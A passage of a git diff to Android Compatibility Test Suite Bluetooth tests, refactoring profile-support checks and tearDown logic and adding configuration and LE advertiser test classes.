- private static final String PROFILE_SUPPORTED_A2DP = "profile_supported_a2dp";
private boolean mHasBluetooth;
private BluetoothAdapter mAdapter;
- private UiAutomation mUiAutomation;;
+ private UiAutomation mUiAutomation;
private BluetoothA2dp mBluetoothA2dp;
private boolean mIsA2dpSupported;
@@ -56,10 +52,13 @@
@Override
public void setUp() throws Exception {
super.setUp();
- mHasBluetooth = getContext().getPackageManager().hasSystemFeature(
- PackageManager.FEATURE_BLUETOOTH);
+ mHasBluetooth = TestUtils.hasBluetooth();
if (!mHasBluetooth) return;
+
+ mIsA2dpSupported = TestUtils.isProfileEnabled(BluetoothProfile.A2DP);
+ if (!mIsA2dpSupported) return;
+
mUiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
mUiAutomation.adoptShellPermissionIdentity(BLUETOOTH_CONNECT);
@@ -72,14 +71,6 @@
mIsProfileReady = false;
mBluetoothA2dp = null;
- Resources bluetoothResources = mContext.getPackageManager().getResourcesForApplication(
- "com.android.bluetooth");
- int a2dpSupportId = bluetoothResources.getIdentifier(
- PROFILE_SUPPORTED_A2DP, "bool", "com.android.bluetooth");
- assertTrue("resource profile_supported_a2dp not found", a2dpSupportId != 0);
- mIsA2dpSupported = bluetoothResources.getBoolean(a2dpSupportId);
- if (!mIsA2dpSupported) return;
-
mAdapter.getProfileProxy(getContext(), new BluetoothA2dpServiceListener(),
BluetoothProfile.A2DP);
}
@@ -87,16 +78,19 @@
@Override
public void tearDown() throws Exception {
super.tearDown();
- if (mHasBluetooth) {
- if (mAdapter != null && mBluetoothA2dp != null) {
- mAdapter.closeProfileProxy(BluetoothProfile.A2DP, mBluetoothA2dp);
- mBluetoothA2dp = null;
- mIsProfileReady = false;
- }
- assertTrue(BTAdapterUtils.disableAdapter(mAdapter, mContext));
- mAdapter = null;
- mUiAutomation.dropShellPermissionIdentity();
+ if (!(mHasBluetooth && mIsA2dpSupported)) {
+ return;
}
+ if (mAdapter != null && mBluetoothA2dp != null) {
+ mAdapter.closeProfileProxy(BluetoothProfile.A2DP, mBluetoothA2dp);
+ mBluetoothA2dp = null;
+ mIsProfileReady = false;
+ }
+ if (mAdapter != null) {
+ assertTrue(BTAdapterUtils.disableAdapter(mAdapter, mContext));
+ }
+ mAdapter = null;
+ mUiAutomation.dropShellPermissionIdentity();
}
public void test_getConnectedDevices() {
@@ -151,7 +145,7 @@
BluetoothDevice testDevice = mAdapter.getRemoteDevice("00:11:22:AA:BB:CC");
- assertThrows(SecurityException.class, () -> mBluetoothA2dp.getCodecStatus(testDevice));
+ assertNull(mBluetoothA2dp.getCodecStatus(testDevice));
assertThrows(IllegalArgumentException.class, () -> {
mBluetoothA2dp.getCodecStatus(null);
});
diff --git a/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothConfigTest.java b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothConfigTest.java
new file mode 100644
index 0000000..f6336bf
--- /dev/null
+++ b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothConfigTest.java
@@ -0,0 +1,185 @@
+/*
+ * Copyright 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.bluetooth.cts;
+
+import static android.Manifest.permission.BLUETOOTH_CONNECT;
+import static android.Manifest.permission.BLUETOOTH_PRIVILEGED;
+
+import android.app.UiAutomation;
+import android.bluetooth.BluetoothAdapter;
+import android.bluetooth.BluetoothManager;
+import android.bluetooth.BluetoothProfile;
+import android.bluetooth.BluetoothStatusCodes;
+import android.sysprop.BluetoothProperties;
+import android.test.AndroidTestCase;
+import android.util.Log;
+
+import androidx.test.InstrumentationRegistry;
+
+import java.lang.invoke.MethodHandles;
+import java.util.List;
+
+public class BluetoothConfigTest extends AndroidTestCase {
+ private static final String TAG = MethodHandles.lookup().lookupClass().getSimpleName();
+
+ private boolean mHasBluetooth;
+ private BluetoothAdapter mAdapter;
+ private UiAutomation mUiAutomation;
+
+ @Override
+ public void setUp() throws Exception {
+ super.setUp();
+
+ mHasBluetooth = TestUtils.hasBluetooth();
+ if (!mHasBluetooth) return;
+
+ mUiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+ mUiAutomation.adoptShellPermissionIdentity(BLUETOOTH_CONNECT);
+
+ BluetoothManager manager = getContext().getSystemService(BluetoothManager.class);
+ mAdapter = manager.getAdapter();
+ assertTrue(BTAdapterUtils.enableAdapter(mAdapter, mContext));
+ }
+
+ @Override
+ public void tearDown() throws Exception {
+ super.tearDown();
+ if (!mHasBluetooth) return;
+
+ assertTrue(BTAdapterUtils.disableAdapter(mAdapter, mContext));
+ mAdapter = null;
+ mUiAutomation.dropShellPermissionIdentity();
+ }
+
+ private int checkIsProfileEnabledInList(int profile, List<Integer> supportedProfiles) {
+ final boolean isEnabled = TestUtils.isProfileEnabled(profile);
+ final boolean isSupported = supportedProfiles.contains(profile);
+
+ if (isEnabled == isSupported) {
+ return 0;
+ }
+ Log.e(TAG, "Profile config does not match for profile: "
+ + BluetoothProfile.getProfileName(profile)
+ + ". Config currently return: " + isEnabled
+ + ". Is profile in the list: " + isSupported);
+ return 1;
+ }
+
+ public void testProfileEnabledValueInList() {
+ if (!mHasBluetooth) {
+ return;
+ }
+ mUiAutomation.adoptShellPermissionIdentity(BLUETOOTH_CONNECT, BLUETOOTH_PRIVILEGED);
+ final List<Integer> pList = mAdapter.getSupportedProfiles();
+ int wrong_config_in_list = checkIsProfileEnabledInList(BluetoothProfile.A2DP, pList)
+ + checkIsProfileEnabledInList(BluetoothProfile.A2DP_SINK, pList)
+ + checkIsProfileEnabledInList(BluetoothProfile.AVRCP_CONTROLLER, pList)
+ + checkIsProfileEnabledInList(BluetoothProfile.CSIP_SET_COORDINATOR, pList)
+ + checkIsProfileEnabledInList(BluetoothProfile.GATT, pList)
+ + checkIsProfileEnabledInList(BluetoothProfile.HAP_CLIENT, pList)
+ + checkIsProfileEnabledInList(BluetoothProfile.HEADSET, pList)
+ + checkIsProfileEnabledInList(BluetoothProfile.HEADSET_CLIENT, pList)
+ + checkIsProfileEnabledInList(BluetoothProfile.HEARING_AID, pList)
+ + checkIsProfileEnabledInList(BluetoothProfile.HID_DEVICE, pList)
+ + checkIsProfileEnabledInList(BluetoothProfile.HID_HOST, pList)
+ + checkIsProfileEnabledInList(BluetoothProfile.LE_AUDIO, pList)
+ + checkIsProfileEnabledInList(BluetoothProfile.LE_AUDIO_BROADCAST, pList)
+ + checkIsProfileEnabledInList(BluetoothProfile.LE_AUDIO_BROADCAST_ASSISTANT, pList)
+ + checkIsProfileEnabledInList(BluetoothProfile.MAP, pList)
+ + checkIsProfileEnabledInList(BluetoothProfile.MAP_CLIENT, pList)
+ + checkIsProfileEnabledInList(BluetoothProfile.OPP, pList)
+ + checkIsProfileEnabledInList(BluetoothProfile.PAN, pList)
+ + checkIsProfileEnabledInList(BluetoothProfile.PBAP, pList)
+ + checkIsProfileEnabledInList(BluetoothProfile.PBAP_CLIENT, pList)
+ + checkIsProfileEnabledInList(BluetoothProfile.SAP, pList)
+ + checkIsProfileEnabledInList(BluetoothProfile.VOLUME_CONTROL, pList);
+
+ assertEquals("Config does not match adapter hardware support. CHECK THE PREVIOUS LOGS.",
+ 0, wrong_config_in_list);
+ }
+
+ private int checkIsProfileEnabled(int profile, int adapterSupport) {
+ final boolean isEnabled = TestUtils.isProfileEnabled(profile);
+ final boolean isSupported = BluetoothStatusCodes.FEATURE_SUPPORTED == adapterSupport;
+
+ if (isEnabled == isSupported) {
+ return 0;
+ }
+ Log.e(TAG, "Profile config does not match for profile: "
+ + BluetoothProfile.getProfileName(profile)
+ + ". Config currently return: " + TestUtils.isProfileEnabled(profile)
+ + ". Adapter support return: " + adapterSupport);
+ return 1;
+ }
+
+ public void testProfileEnabledValue() {
+ if (!mHasBluetooth) {
+ return;
+ }
+ int wrong_config =
+ checkIsProfileEnabled(BluetoothProfile.LE_AUDIO,
+ mAdapter.isLeAudioSupported())
+ + checkIsProfileEnabled(BluetoothProfile.LE_AUDIO_BROADCAST,
+ mAdapter.isLeAudioBroadcastSourceSupported())
+ + checkIsProfileEnabled(BluetoothProfile.LE_AUDIO_BROADCAST_ASSISTANT,
+ mAdapter.isLeAudioBroadcastAssistantSupported());
+
+ assertEquals("Config does not match adapter hardware support. CHECK THE PREVIOUS LOGS.",
+ 0, wrong_config);
+ }
+
+ public void testBleCDDRequirement() {
+ if (!mHasBluetooth) {
+ return;
+ }
+
+ // If device implementations return true for isLeAudioSupported():
+ // [C-7-5] MUST enable simultaneously:
+ // BAP unicast client,
+ // CSIP set coordinator,
+ // MCP server,
+ // VCP controller,
+ // CCP server,
+ if (mAdapter.isLeAudioSupported()
+ == BluetoothStatusCodes.FEATURE_SUPPORTED) {
+ assertTrue("BAP unicast config must be true when LeAudio is supported. [C-7-5]",
+ BluetoothProperties.isProfileBapUnicastClientEnabled().orElse(false));
+ assertTrue("CSIP config must be true when LeAudio is supported. [C-7-5]",
+ BluetoothProperties.isProfileCsipSetCoordinatorEnabled().orElse(false));
+ assertTrue("MCP config must be true when LeAudio is supported. [C-7-5]",
+ BluetoothProperties.isProfileMcpServerEnabled().orElse(false));
+ assertTrue("VCP config must be true when LeAudio is supported. [C-7-5]",
+ BluetoothProperties.isProfileVcpControllerEnabled().orElse(false));
+ assertTrue("CCP config must be true when LeAudio is supported. [C-7-5]",
+ BluetoothProperties.isProfileCcpServerEnabled().orElse(false));
+ }
+
+ // If device implementations return true for isLeAudioBroadcastSourceSupported():
+ // [C-8-2] MUST enable simultaneously:
+ // BAP broadcast source,
+ // BAP broadcast assistant
+ if (mAdapter.isLeAudioBroadcastSourceSupported()
+ == BluetoothStatusCodes.FEATURE_SUPPORTED) {
+ assertTrue("BAP broadcast source config must be true when adapter support "
+ + "BroadcastSource. [C-8-2]",
+ BluetoothProperties.isProfileBapBroadcastSourceEnabled().orElse(false));
+ assertTrue("BAP broadcast assistant config must be true when adapter support "
+ + "BroadcastSource. [C-8-2]",
+ BluetoothProperties.isProfileBapBroadcastAssistEnabled().orElse(false));
+ }
+ }
+}
diff --git a/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothCsipSetCoordinatorTest.java b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothCsipSetCoordinatorTest.java
index fa96ddf..af9cd9a 100644
--- a/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothCsipSetCoordinatorTest.java
+++ b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothCsipSetCoordinatorTest.java
@@ -21,22 +21,19 @@
import static org.junit.Assert.assertThrows;
-import android.app.UiAutomation;
import android.bluetooth.BluetoothAdapter;
-import android.bluetooth.BluetoothDevice;
import android.bluetooth.BluetoothCsipSetCoordinator;
+import android.bluetooth.BluetoothDevice;
import android.bluetooth.BluetoothManager;
import android.bluetooth.BluetoothProfile;
+import android.bluetooth.BluetoothStatusCodes;
import android.bluetooth.BluetoothUuid;
import android.content.pm.PackageManager;
-import android.content.res.Resources;
import android.os.Build;
import android.os.ParcelUuid;
import android.test.AndroidTestCase;
import android.util.Log;
-import androidx.test.InstrumentationRegistry;
-
import com.android.compatibility.common.util.ApiLevelUtil;
import java.util.List;
@@ -99,10 +96,11 @@
mBluetoothCsipSetCoordinator = null;
boolean isLeAudioSupportedInConfig =
- TestUtils.getProfileConfigValueOrDie(BluetoothProfile.LE_AUDIO);
+ TestUtils.isProfileEnabled(BluetoothProfile.LE_AUDIO);
boolean isCsipConfigEnabled =
- TestUtils.getProfileConfigValueOrDie(BluetoothProfile.CSIP_SET_COORDINATOR);
+ TestUtils.isProfileEnabled(BluetoothProfile.CSIP_SET_COORDINATOR);
if (isLeAudioSupportedInConfig) {
+ assertEquals(BluetoothStatusCodes.FEATURE_SUPPORTED, mAdapter.isLeAudioSupported());
/* If Le Audio is supported then CSIP shall be supported */
assertTrue("Config must be true when profile is supported", isCsipConfigEnabled);
}
@@ -129,6 +127,7 @@
mIsProfileReady = false;
mTestDevice = null;
mIsLocked = false;
+ mTestOperationStatus = 0;
mTestCallback = null;
mTestExecutor = null;
}
@@ -211,9 +210,19 @@
TestUtils.adoptPermissionAsShellUid(BLUETOOTH_CONNECT, BLUETOOTH_PRIVILEGED);
// Lock group
+ mIsLocked = false;
+ mTestOperationStatus = BluetoothStatusCodes.ERROR_CSIP_INVALID_GROUP_ID;
try {
- UUID uuid = mBluetoothCsipSetCoordinator.lockGroup(mTestGroupId,
+ mBluetoothCsipSetCoordinator.lockGroup(mTestGroupId,
mTestExecutor, mTestCallback);
+ } catch (Exception e) {
+ fail("Exception caught from register(): " + e.toString());
+ }
+
+ long uuidLsb = 0x01;
+ long uuidMsb = 0x01;
+ UUID uuid = new UUID(uuidMsb, uuidLsb);
+ try {
mBluetoothCsipSetCoordinator.unlockGroup(uuid);
} catch (Exception e) {
fail("Exception caught from register(): " + e.toString());
diff --git a/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothDeviceTest.java b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothDeviceTest.java
index d7a4712..927cb50 100644
--- a/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothDeviceTest.java
+++ b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothDeviceTest.java
@@ -315,8 +315,7 @@
return;
}
- assertNotNull(mFakeDevice.getUuids());
- assertEquals(0, mFakeDevice.getUuids().length);
+ assertNull(mFakeDevice.getUuids());
mUiAutomation.dropShellPermissionIdentity();
assertThrows(SecurityException.class, () -> mFakeDevice.getUuids());
mUiAutomation.adoptShellPermissionIdentity(BLUETOOTH_CONNECT);
diff --git a/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothHapClientTest.java b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothHapClientTest.java
index 0a10bed..fb5f241 100644
--- a/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothHapClientTest.java
+++ b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothHapClientTest.java
@@ -98,7 +98,7 @@
return;
}
- mIsHapClientSupported = TestUtils.getProfileConfigValueOrDie(BluetoothProfile.HAP_CLIENT);
+ mIsHapClientSupported = TestUtils.isProfileEnabled(BluetoothProfile.HAP_CLIENT);
if (!mIsHapClientSupported) {
return;
}
diff --git a/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothHapPresetInfoTest.java b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothHapPresetInfoTest.java
index afafa39..80f4bbd 100644
--- a/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothHapPresetInfoTest.java
+++ b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothHapPresetInfoTest.java
@@ -61,20 +61,27 @@
if (!mHasBluetooth) {
return;
}
+
+ mIsHapSupported = TestUtils.isProfileEnabled(BluetoothProfile.HAP_CLIENT);
+ if (!mIsHapSupported) {
+ return;
+ }
+
TestUtils.adoptPermissionAsShellUid(BLUETOOTH_CONNECT);
mAdapter = TestUtils.getBluetoothAdapterOrDie();
assertTrue(BTAdapterUtils.enableAdapter(mAdapter, mContext));
-
- mIsHapSupported = TestUtils.getProfileConfigValueOrDie(BluetoothProfile.HAP_CLIENT);
}
@After
public void tearDown() {
- if (mHasBluetooth) {
- assertTrue(BTAdapterUtils.disableAdapter(mAdapter, mContext));
- mAdapter = null;
- TestUtils.dropPermissionAsShellUid();
+ if (!(mHasBluetooth && mIsHapSupported)) {
+ return;
}
+ if (mAdapter != null) {
+ assertTrue(BTAdapterUtils.disableAdapter(mAdapter, mContext));
+ }
+ mAdapter = null;
+ TestUtils.dropPermissionAsShellUid();
}
@Test
@@ -95,8 +102,9 @@
Parcel out = Parcel.obtain();
out.writeInt(presetIndex);
out.writeString(presetName);
- out.writeBoolean(isAvailable);
out.writeBoolean(isWritable);
+ out.writeBoolean(isAvailable);
+ out.setDataPosition(0); // reset position of parcel before passing to constructor
return BluetoothHapPresetInfo.CREATOR.createFromParcel(out);
}
diff --git a/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothHeadsetTest.java b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothHeadsetTest.java
index 8536e9d..6925d9e 100644
--- a/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothHeadsetTest.java
+++ b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothHeadsetTest.java
@@ -19,13 +19,12 @@
import static android.Manifest.permission.BLUETOOTH_CONNECT;
import android.app.UiAutomation;
-import android.bluetooth.BluetoothHeadset;
import android.bluetooth.BluetoothAdapter;
import android.bluetooth.BluetoothDevice;
+import android.bluetooth.BluetoothHeadset;
import android.bluetooth.BluetoothManager;
import android.bluetooth.BluetoothProfile;
import android.content.pm.PackageManager;
-import android.content.res.Resources;
import android.test.AndroidTestCase;
import android.util.Log;
@@ -40,7 +39,6 @@
private static final String TAG = BluetoothHeadsetTest.class.getSimpleName();
private static final int PROXY_CONNECTION_TIMEOUT_MS = 500; // ms timeout for Proxy Connect
- private static final String PROFILE_SUPPORTED_HEADSET = "profile_supported_hs_hfp";
private boolean mHasBluetooth;
private BluetoothAdapter mAdapter;
@@ -57,8 +55,11 @@
super.setUp();
mHasBluetooth = getContext().getPackageManager().hasSystemFeature(
PackageManager.FEATURE_BLUETOOTH);
-
if (!mHasBluetooth) return;
+
+ mIsHeadsetSupported = TestUtils.isProfileEnabled(BluetoothProfile.HEADSET);
+ if (!mIsHeadsetSupported) return;
+
mUiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
mUiAutomation.adoptShellPermissionIdentity(BLUETOOTH_CONNECT);
@@ -71,14 +72,6 @@
mIsProfileReady = false;
mBluetoothHeadset = null;
- Resources bluetoothResources = mContext.getPackageManager().getResourcesForApplication(
- "com.android.bluetooth");
- int headsetSupportId = bluetoothResources.getIdentifier(
- PROFILE_SUPPORTED_HEADSET, "bool", "com.android.bluetooth");
- assertTrue("resource profile_supported_hs_hfp not found", headsetSupportId != 0);
- mIsHeadsetSupported = bluetoothResources.getBoolean(headsetSupportId);
- if (!mIsHeadsetSupported) return;
-
mAdapter.getProfileProxy(getContext(), new BluetoothHeadsetServiceListener(),
BluetoothProfile.HEADSET);
}
@@ -86,16 +79,19 @@
@Override
public void tearDown() throws Exception {
super.tearDown();
- if (mHasBluetooth) {
- if (mAdapter != null && mBluetoothHeadset != null) {
- mAdapter.closeProfileProxy(BluetoothProfile.HEADSET, mBluetoothHeadset);
- mBluetoothHeadset = null;
- mIsProfileReady = false;
- }
- assertTrue(BTAdapterUtils.disableAdapter(mAdapter, mContext));
- mAdapter = null;
- mUiAutomation.dropShellPermissionIdentity();
+ if (!(mHasBluetooth && mIsHeadsetSupported)) {
+ return;
}
+ if (mAdapter != null && mBluetoothHeadset != null) {
+ mAdapter.closeProfileProxy(BluetoothProfile.HEADSET, mBluetoothHeadset);
+ mBluetoothHeadset = null;
+ mIsProfileReady = false;
+ }
+ if (mAdapter != null) {
+ assertTrue(BTAdapterUtils.disableAdapter(mAdapter, mContext));
+ }
+ mAdapter = null;
+ mUiAutomation.dropShellPermissionIdentity();
}
public void test_getConnectedDevices() {
diff --git a/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothHidDeviceTest.java b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothHidDeviceTest.java
index e512d25..1a258bc 100644
--- a/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothHidDeviceTest.java
+++ b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothHidDeviceTest.java
@@ -39,7 +39,6 @@
import android.bluetooth.BluetoothManager;
import android.bluetooth.BluetoothProfile;
import android.content.pm.PackageManager;
-import android.content.res.Resources;
import android.test.AndroidTestCase;
import android.util.Log;
@@ -56,7 +55,6 @@
private static final String TAG = BluetoothHidDevice.class.getSimpleName();
private static final int PROXY_CONNECTION_TIMEOUT_MS = 500; // ms timeout for Proxy Connect
- private static final String PROFILE_SUPPORTED_HID_DEVICE = "profile_supported_hid_device";
private boolean mHasBluetooth;
private boolean mIsHidSupported;
@@ -76,6 +74,10 @@
mHasBluetooth =
getContext().getPackageManager().hasSystemFeature(PackageManager.FEATURE_BLUETOOTH);
if (!mHasBluetooth) return;
+
+ mIsHidSupported = TestUtils.isProfileEnabled(BluetoothProfile.HID_DEVICE);
+ if (!mIsHidSupported) return;
+
mUiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
mUiAutomation.adoptShellPermissionIdentity(BLUETOOTH_CONNECT);
@@ -89,13 +91,6 @@
mBluetoothHidDevice = null;
mExecutor = Executors.newSingleThreadExecutor();
- Resources bluetoothResources = mContext.getPackageManager().getResourcesForApplication(
- "com.android.bluetooth");
- int hidSupportId = bluetoothResources.getIdentifier(PROFILE_SUPPORTED_HID_DEVICE, "bool",
- "com.android.bluetooth");
- mIsHidSupported = bluetoothResources.getBoolean(hidSupportId);
- if (!mIsHidSupported) return;
-
mAdapter.getProfileProxy(getContext(), new BluetoothHidServiceListener(),
BluetoothProfile.HID_DEVICE);
}
@@ -103,17 +98,20 @@
@Override
public void tearDown() throws Exception {
super.tearDown();
- if (mHasBluetooth) {
- if (mAdapter != null && mBluetoothHidDevice != null) {
- mAdapter.closeProfileProxy(BluetoothProfile.HID_DEVICE, mBluetoothHidDevice);
- mBluetoothHidDevice = null;
- mIsProfileReady = false;
- }
- mUiAutomation.adoptShellPermissionIdentity(BLUETOOTH_CONNECT);
- assertTrue(BTAdapterUtils.disableAdapter(mAdapter, mContext));
- mAdapter = null;
- mUiAutomation.dropShellPermissionIdentity();
+ if (!(mHasBluetooth && mIsHidSupported)) {
+ return;
}
+ if (mAdapter != null && mBluetoothHidDevice != null) {
+ mAdapter.closeProfileProxy(BluetoothProfile.HID_DEVICE, mBluetoothHidDevice);
+ mBluetoothHidDevice = null;
+ mIsProfileReady = false;
+ }
+ mUiAutomation.adoptShellPermissionIdentity(BLUETOOTH_CONNECT);
+ if (mAdapter != null) {
+ assertTrue(BTAdapterUtils.disableAdapter(mAdapter, mContext));
+ }
+ mAdapter = null;
+ mUiAutomation.dropShellPermissionIdentity();
}
public void test_getDevicesMatchingConnectionStates() {
diff --git a/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothLeAdvertiserTest.java b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothLeAdvertiserTest.java
new file mode 100644
index 0000000..e7f59b8
--- /dev/null
+++ b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothLeAdvertiserTest.java
@@ -0,0 +1,150 @@
+/*
+ * Copyright 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.bluetooth.cts;
+
+import static android.Manifest.permission.BLUETOOTH_ADVERTISE;
+import static android.Manifest.permission.BLUETOOTH_CONNECT;
+import static android.bluetooth.le.AdvertisingSetCallback.ADVERTISE_SUCCESS;
+
+import android.app.UiAutomation;
+import android.bluetooth.BluetoothAdapter;
+import android.bluetooth.BluetoothManager;
+import android.bluetooth.le.AdvertisingSet;
+import android.bluetooth.le.AdvertisingSetCallback;
+import android.bluetooth.le.AdvertisingSetParameters;
+import android.bluetooth.le.BluetoothLeAdvertiser;
+import android.content.pm.PackageManager;
+import android.os.Handler;
+import android.os.Looper;
+import android.test.AndroidTestCase;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.atomic.AtomicInteger;
+import java.util.concurrent.atomic.AtomicReference;
+
+public class BluetoothLeAdvertiserTest extends AndroidTestCase {
+ private static final int TIMEOUT_MS = 5000;
+ private static final AdvertisingSetParameters ADVERTISING_SET_PARAMETERS =
+ new AdvertisingSetParameters.Builder().setLegacyMode(true).build();
+
+ private boolean mHasBluetooth;
+ private UiAutomation mUiAutomation;
+ private BluetoothAdapter mAdapter;
+ private BluetoothLeAdvertiser mAdvertiser;
+ private TestAdvertisingSetCallback mCallback;
+
+
+ @Override
+ public void setUp() throws Exception {
+ super.setUp();
+ mHasBluetooth = getContext().getPackageManager().hasSystemFeature(
+ PackageManager.FEATURE_BLUETOOTH);
+ if (!mHasBluetooth) return;
+ mUiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+ mUiAutomation.adoptShellPermissionIdentity(BLUETOOTH_CONNECT, BLUETOOTH_ADVERTISE);
+
+ BluetoothManager manager = getContext().getSystemService(BluetoothManager.class);
+ mAdapter = manager.getAdapter();
+ assertTrue(BTAdapterUtils.enableAdapter(mAdapter, mContext));
+ mAdvertiser = mAdapter.getBluetoothLeAdvertiser();
+ mCallback = new TestAdvertisingSetCallback();
+ }
+
+ public void tearDown() throws Exception {
+ super.tearDown();
+ if (mHasBluetooth) {
+ mAdvertiser.stopAdvertisingSet(mCallback);
+ assertTrue(mCallback.mAdvertisingSetStoppedLatch.await(TIMEOUT_MS,
+ TimeUnit.MILLISECONDS));
+ assertTrue(BTAdapterUtils.disableAdapter(mAdapter, mContext));
+ mAdvertiser = null;
+ mAdapter = null;
+ }
+ }
+
+ public void test_startAdvertisingSetWithCallbackAndHandler() throws InterruptedException {
+ mAdvertiser.startAdvertisingSet(ADVERTISING_SET_PARAMETERS, null, null, null, null,
+ mCallback, new Handler(Looper.getMainLooper()));
+ assertTrue(mCallback.mAdvertisingSetStartedLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+ assertEquals(ADVERTISE_SUCCESS, mCallback.mAdvertisingSetStartedStatus.get());
+ assertNotNull(mCallback.mAdvertisingSet);
+ }
+
+
+ public void test_startAdvertisingSetWithDurationAndCallback() throws InterruptedException {
+ mAdvertiser.startAdvertisingSet(ADVERTISING_SET_PARAMETERS, null, null, null, null,
+ 0, 0, mCallback);
+ assertTrue(mCallback.mAdvertisingSetStartedLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+ assertEquals(ADVERTISE_SUCCESS, mCallback.mAdvertisingSetStartedStatus.get());
+ assertNotNull(mCallback.mAdvertisingSet);
+ }
+
+
+ public void test_startAdvertisingSetWithDurationCallbackAndHandler()
+ throws InterruptedException {
+ mAdvertiser.startAdvertisingSet(ADVERTISING_SET_PARAMETERS, null, null, null, null,
+ 0, 0, mCallback, new Handler(Looper.getMainLooper()));
+ assertTrue(mCallback.mAdvertisingSetStartedLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+ assertEquals(ADVERTISE_SUCCESS, mCallback.mAdvertisingSetStartedStatus.get());
+ assertNotNull(mCallback.mAdvertisingSet);
+ }
+
+ private static class TestAdvertisingSetCallback extends AdvertisingSetCallback {
+ public CountDownLatch mAdvertisingSetStartedLatch = new CountDownLatch(1);
+ public CountDownLatch mAdvertisingEnabledLatch = new CountDownLatch(1);
+ public CountDownLatch mAdvertisingDisabledLatch = new CountDownLatch(1);
+ public CountDownLatch mAdvertisingSetStoppedLatch = new CountDownLatch(1);
+
+ public AtomicInteger mAdvertisingSetStartedStatus = new AtomicInteger();
+ public AtomicInteger mAdvertisingEnabledStatus = new AtomicInteger();
+ public AtomicInteger mAdvertisingDisabledStatus = new AtomicInteger();
+
+ public AtomicReference<AdvertisingSet> mAdvertisingSet = new AtomicReference();
+
+ @Override
+ public void onAdvertisingSetStarted(AdvertisingSet advertisingSet, int txPower,
+ int status) {
+ super.onAdvertisingSetStarted(advertisingSet, txPower, status);
+ mAdvertisingSetStartedStatus.set(status);
+ mAdvertisingSet.set(advertisingSet);
+ mAdvertisingSetStartedLatch.countDown();
+ }
+
+ @Override
+ public void onAdvertisingEnabled(AdvertisingSet advertisingSet, boolean enable,
+ int status) {
+ super.onAdvertisingEnabled(advertisingSet, enable, status);
+ if (enable) {
+ mAdvertisingEnabledStatus.set(status);
+ mAdvertisingEnabledLatch.countDown();
+ } else {
+ mAdvertisingDisabledStatus.set(status);
+ mAdvertisingDisabledLatch.countDown();
+ }
+ }
+
+ @Override
+ public void onAdvertisingSetStopped(AdvertisingSet advertisingSet) {
+ super.onAdvertisingSetStopped(advertisingSet);
+ mAdvertisingSetStoppedLatch.countDown();
+ }
+
+ }
+}
diff --git a/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothLeAudioCodecConfigMetadataTest.java b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothLeAudioCodecConfigMetadataTest.java
index 0100442..b40b52d 100644
--- a/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothLeAudioCodecConfigMetadataTest.java
+++ b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothLeAudioCodecConfigMetadataTest.java
@@ -48,7 +48,7 @@
// See Page 5 of Generic Audio assigned number specification
private static final byte[] TEST_METADATA_BYTES = {
// length = 0x05, type = 0x03, value = 0x00000001 (front left)
- 0x05, 0x03, 0x00, 0x00, 0x00, 0x01
+ 0x05, 0x03, 0x01, 0x00, 0x00, 0x00
};
private Context mContext;
@@ -75,18 +75,16 @@
mAdapter.isLeAudioBroadcastAssistantSupported() == FEATURE_SUPPORTED;
